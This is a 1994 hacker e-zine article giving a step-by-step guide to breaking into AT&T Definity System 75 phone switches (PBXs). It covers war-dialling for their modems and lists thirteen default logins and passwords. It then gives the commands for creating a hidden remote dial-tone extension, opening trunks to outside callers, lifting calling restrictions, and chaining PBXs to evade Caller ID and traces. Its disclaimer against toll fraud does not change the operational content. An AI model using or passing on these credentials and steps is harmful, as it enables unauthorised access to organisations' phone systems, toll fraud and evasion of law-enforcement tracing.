                                    __
                      \ /          |_
                      / \ e n o n  |  o u n d a t i o n 
                                
                                  presents:
                                  
                                  \     /
                      *------  the  \ /  
                                    / \  files  ------*
                                  /     \
                
                            Spring/1994  Issue: 15
         
                     "Stealth in Diverting - PBX Style"
                      
                                By: Erik Turbo


Disclaimer: 
      
     The information provided below is solely for the purpose of diverting
     yourself  from possible  traces, ANI, and Caller ID.  It  is *not* to
     be used for long distance toll fraud, including abusing 900 services, 
     using illicit calling cards, or other forms of credit card fraud.



Introduction
~~~~~~~~~~~~
A PBX, or Private Branch eXchange, is an on-premise facility, owned or leased
by an organization,  which interconnects  the telephones  within the facility
and  provides  access  to the  public  telephone  system.  Basically, it is a
mini-switching station,  and  allows a telephone user on the premises to dial
a  three  to four digit  number (extension) to  call another telephone on the
premises,  and dials  one digit  (usually 8 or 9)  to get a  dial tone for an
"outside line,"  which  allows  the  caller to  dial  out to  the rest of the
public  telephone user.  This is the most important feature for a hacker that 
desires the stealth that is necessary to continue his explorations. In short, 
you can remain well-hidded if you use a PBX's outside lines to connect to the 
computer you are hacking.  That way,  any Caller ID, ANI, or trace will reach 
the PBX number - not your home telephone.  When  you have mastered the art of 
PBX hacking,  you should  make a habit of diverting with 3 or 4 "well spaced" 
PBX's  before  hitting your  target  destination.  For  the  advanced hacker, 
diverting  with PBX's  is just  the beginning  of his actual diversion; it is 
best  to bury  yourself  in  packet-switched  networks,  loop  in  and out of 
Internet hosts, bounce yourself off of satellites with International calling, 
and  utilize all of the  data-based outdials that you have. Remember, abusing 
these PBX's for un-necessary long distance calling is NOT condoned by me,  or 
any members of the Xenon Foundation; it will kill the PBX quicker,  and place 
you at risk of serious fraudulant charges. 


Definity G Model System 75
~~~~~~~~~~~~~~~~~~~~~~~~~~
Definity  model  System 75 systems  control a large number of medium-sized
(approx. 1000 lines)  PBX's.  It  is owned  by AT&T,  and was developed in
the late 1970's, with modifications in 1983,  and 1986.  The actual System
75  machine has  one or  more incoming  1200bps data lines,  which connect
at 7E1.  It  is  through  this  remote port that you may begin your actual
hacking of the PBX.  Since all of the  changes you  may via  modem  affect
the  entire  telephone  network on the  PBX, this is a power that you will
have  to learn  how to  abstain from  abusing.  It is possible to turn the
once  smoothly operating phone system into a chaotic mass of busy signals,
re-routes, Voice Mail Box's, tones, and bridges, effectively shutting down 
the victim for hours,  if not days.  For this  reason,  I will only inform
readers on how to create a remote extension for diverting purposes.


Connection
~~~~~~~~~~
The  best way  to find a System 75 is to scan ("wargame dial") your local
telephone exchanges.  There  are  still  dozens of  them around,  and you
are bound to hit at least one in a few days of scanning.  Upon connection
you will see the System 75 login and authorization prompts:


Login: xxx
Password: xxx
INCORRECT LOGIN


You  will be given  three chances  to guess authorization password before
the  system  will  drop  carrier.  On  telephone   systems  that  provide 
Caller ID services,  I would be weary; it is quite possible the System 75
dialup as well as the PBX are equipt with ANI for auditing purposes.


Default Accounts and Passwords
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~                                  
With  every  new  System  75 package,  AT&T  includes a  large  number of 
accounts  and passwords  already installed and ready for usage.  Usually, 
these passwords are never changed by the owners. Here is a listing of the 
known System 75 default accounts and passwords that are included in every 
Definity G package:


Login: enquiry  Password: enquirypw
Login: init     Password: initpw
Login: browse   Password: looker
Login: maint    Password: rwmaint
Login: locate   Password: locatepw
Login: rcust    Password: rcustpw
Login: tech     Password: field
Login: cust     Password: custpw
Login: inads    Password: inads
Login: support  Password: supportpw
Login: bcim     Password: bcimpw
Login: bcnas    Password: bcnspw
Login: craft    Password: craftpw


Note: The browse account can *not* modify anything on the system 75.
      It is only useful for examining the possibility of an existing 
      remote extension, not for the actual creation of one.



Internal System 75 Commands
~~~~~~~~~~~~~~~~~~~~~~~~~~~
If those  defaults did not work,  the only other alternatives is social
engineering,  and brute  force  hacking.  Both  are not  likely to work 
unless you are a social engineering master, or have time to waste brute
force  hacking.  Your  best bet is to move on and hope to scan a lesser 
protected System 75.


Assuming  you have passed  the authorization, you will be prompted with
the following:


Terminal Type (513, 4410, 4425): [513] 


These  are the  basic  System 75  remote  usage emulation codes.  I prefer 
to use 4410,  as  it  appears  much  "cleaner"  on  a  VT100  IBM PC.  The 
emulation  is  used  to remotely send System 75 key sequences,  to request 
help, to save a session, to move forward a page, to move back a page, etc. 
Since  the  IBM keyboard  has no way  to emulate these keys, the System 75 
provides  3  basic  emulation  codes.  For  our  purposes,  use 4410.  The 
following sequences will work with emulation 4410:
                        
ESC Op - To cancel a command
ESC Ot - To request Help
ESC Ov - Next Page
ESC Ow - Previous Page
ESC Or - Save
ESC Oq - Refresh Screen
ESC Os - Clear Fields


You can achieve  the escape sequences by hitting the ESC key, and then the
key combination O and the following character.


Once you have choses emulation 4410, please remember (or take note) of the
previous  escape  sequences.  You  will  not  be able  to save information 
without knowing the proper code. ("ESC Or"). ESC Op is also very important
since  it  is  the  only  method  of  stopping the execution of a command; 
something  you will have to do constantly when looking over certain pieces 
of information within the System 75.  Take these down!


Next you will see the AT&T banner and the command prompt:
                        
                        
                        Copyright (c) 1986 - AT&T



                   Unpublished & Not for Publication



                          All Rights Reserved 


enter command:


There is online help avaiable at all times by pressing "ESC Ot", as well
as  keying 'help' at  the command prompt.  Familiarize yourself with the
system.  It  is  basically  cryptic,  as  it  is  usually  only  used by 
experienced AT&T technicians.


Examining the PBX 
~~~~~~~~~~~~~~~~~
Once you are in, you now want to get to working on your  diverter.  What
you will obviously need is an extension dedicated  explicitly for a dial
tone  to the  outside  network.  To accomplish  this quickly and easily,
all you must do is type  "change remote" at  the  command  prompt.  This
will bring you to the following screen:


change remote-access                                           Page  1 of  1
                                REMOTE ACCESS
               
               
               Remote Access Extension:
                   Barrier Code Length: 
BARRIER CODE ASSIGNMENTS (Enter up to 10)
        
        Barrier Code    COR                    Barrier Code    COR
     1:                 1                    6:                 1
     2:                 1                    7:                 1
     3:                 1                    8:                 1
     4:                 1                    9:                 1
     5:                 1                    10:                1


As you can see, there is no remote access extension set up, therefor this
PBX  does not  have any existing dialtones available.  Now to create one,
type  in the  extension  you  wish  to  direct you  to your dialtone. The 
extension you type in should be a 4 digit number, startin with "2" or "4"
as  these are valid  extensions  under System 75 software.  When you type
in your extension, press enter; if it gives you an error, try a different
extension until it accepts your input.  


If  you wish  to add a security code on your dialtone, you may enter it's
length at  the "Barrier Code Length:" prompt.  Under the heading "Barrier
Code", at the "1:" prompt, type in your desired security code.  After you
are all set, the screen should look something like this:


change remote-access                                           Page  1 of  1
                                REMOTE ACCESS
               
               
               Remote Access Extension: 2400
                   Barrier Code Length: 6
BARRIER CODE ASSIGNMENTS (Enter up to 10)
        
        Barrier Code    COR                    Barrier Code    COR
     1: 222222          1                    6:                 1
     2:                 1                    7:                 1
     3:                 1                    8:                 1
     4:                 1                    9:                 1
     5:                 1                    10:                1


Now you have a working extension that is not only available for your
use in diverting,  but also secure  from others who do not know your
barrier code.  Type the key combination "ESC Or" to save your work.


Finding the PBX Dialup
~~~~~~~~~~~~~~~~~~~~~~
Now that you are guarenteed a tone, you must find out the telephone number
the  PBX is  located at.  Type  "list trunk-group"  at the command prompt.
It should give you a listing similar to this:



Group                                       No. of                  Outgoing
Number  TAC  Group Type    Group Name       Members   COR   SMDR?   Display?


1       801   co           Incoming          12        1     y        n
2       851   co           Sales Room         1        1     y        n
9       809   co           Billing            4        1     y        n
10      810   co           Admin line         1        63    y        n
                                                                                
Command successfully completed CANCEL         P                                 
                          HELP          T                                       
                
Now that you have a listing of all the trunk groups that are present on the
PBX,  you can  individually  list them to get their corresponding telephone
numbers.   Type   "display  trunk-group 1",   to  display   trunk  group  1 
(Group Number 1,  Group Name  "Incoming").  As  you  can see from the above
capture,  there  are  4 trunks available; 1, 2, 9, and 10.  Display each of
them,  and use  the  'next page' ("ESC Ov")  key  combination to get to the
page  (usually page 2, or 3) with  the telephone numbers to the trunk. Each 
time  you  display  the  trunks,  you  will  get  a  screen  similar to the 
following:


display trunk-group 1                                           Page  1 of  5
                                TRUNK GROUP


Group Number: 1                    Group Type: co            SMDR Reports? y
  Group Name: Incoming                    COR: 1                      TAC: 801
   Direction: two-way        Outgoing Display? n         Data Restriction? n
 Dial Access? y                Busy Threshold: 60           Night Service:
Queue Length: 0                                      Incoming Destination: 200
   Comm Type: voice                                 Digit Absorption List:
    Prefix-1? n                   Restriction: toll    Allowed Calls List? n


TRUNK PARAMETERS
            Trunk Type: loop-start
    Outgoing Dial Type: tone
     Trunk Termination: rc                    Disconnect Timing(msec): 500
        ACA Assignment? n
                                                    Maintenance Tests? y
 Answer Supervision Timeout:                    Suppress # Outpulsing? n
_____________________________________________________________________________


To get the actual dialups, you must look on the following pages. The
"ESC Ov" combination will do that under emulation 4410:


_____________________________________________________________________________
display trunk-group 1                                           Page  2 of  5
                                 
                                 TRUNK GROUP 


GROUP MEMBER ASSIGNMENTS
                 
                 Port      Name         Mode         Type    Answer Delay
              1: A0101    555-2322
              2: A0102    555-2342
              3: A0103    555-2343
              4: A0104    555-2345
              5: A0105    555-2456
              6: A0106    555-2457
              7: A0107    555-2458
              8: A0108    555-2459
              9: A0201    555-2460
             10: A0202    555-2461
             11: A0203    555-2462
             12: A0204    555-2470
             13: A0205    555-2800
             14: A0206    555-2810
             15: A0207    555-2811


Make a note  of the telephone numbers on the trunks, and dial  them up after 
logging  off  the  System  75.  When  you  dial  them  up  voice,  if one of 
them prompts you for an extension, type in the remote extension  you created 
earlier.  You should hear the tone to an outside line.  If  you created  the 
remote extension with a barrier code, touch-tone that in now. Next, dial "9" 
to  get an outside line (It can also be "8" on some systems),  and then dial 
the  telephone number  you want to reach, just as normally as you would from
your home telephone.


Tricks and Hints
~~~~~~~~~~~~~~~~
The following are methods and commands that can be used in addition to
the  above mentioned  hacking tactics.  They  are not necessary to the
smooth creation of a remote dialtone off of a PBX, however.


When  you are displaying the trunk-groups individually, look under the
heading  "Direction: "  (found on page 1).  If it says "one-way", then
modify that (with the "change trunk #" command) to say "two-way". Also 
on page 1, change the "Incoming Destination: "  header to reflect your
newly  created  remote  access extension  that you created earlier. On
the  next page,  get  the  dialups.  You have just created a large set
of  tones.  Since  they  used  to be  "one-way", only users within the 
building  could use  them to dialout, but since you have changed it to 
"two-way",  and  changed the  incoming  destination  extension to your
remote extension,  you are  allowing incoming  callers to use the tone 
service as well.


If you do  not want to arouse suspicion, instead of changing the "Incoming
Destination: " to your extension, just change the "Night Service: " header
to your remote  extension.  With this,  however, you can only use the tone
service after hours; usually after the business closes.



To  get  an  idea  of how the extensions are uniformly placed on the PBX,
type  "display dialplan" at  the  command  prompt.   This  will  give you
all the prefix's to the three or four digit extensions.  This is valuable
if  you are  having  trouble  finding  a valid  extension to use for your
remote extension.


When  displaying  a trunk  group, mark down the COR (Class of Restriction)
number.  Type  "display COR #"  (where #  is the  COR number of a specific
trunk). Make sure the FRL prompt is set to 7, and the calling restrictions 
are  set to  "none".  If not,  type  "change cor  (COR #)",  and  make the 
necessary modifications.  


Type "display feature" to get a listing of all the feature access codes on 
the system. This is valuable if you can not get an outside line by dialing 
"9", or "8".  The dialout access code will be in here.



Conclusion
~~~~~~~~~~~                                                              
Basically,  it is  extreemly simple  to create a remote extension off of a
PBX  in  your local area.  If you use the PBX just to make local calls and
to divert  yourself further  through the telephone network, it should last
a  rather  long  time.   However,  if  you  abuse  it by dialing  Alliance 
Teleconferences every night, or to call your friend in the UK  three times 
a day, it will either die, or get slapped with ANI.  
                               
I  have  tried to be  as straight  forward  as possible, without having to
technically  explain  every detail of operation.  Once you get the hang of
it,  you should  be able to  create  your  remote  extensions  in under 10 
minutes.  However,  if you  are having problems, you can contact me at the 
following locations:


Internet Mail: erikt@xf.com
Void of Deception: [508]/998-2400


Additional Reading:
~~~~~~~~~~~~~~~~~~~
Hacking AT&T System 75, Scott Simpson, Phrack 41, File 6.
System 75 Hacking (An Online Tutorial), Panther Modern, COTNO01.TXT, File 3.
Data and Computer Communications, William Stallings, Macmillan Publishing Co.
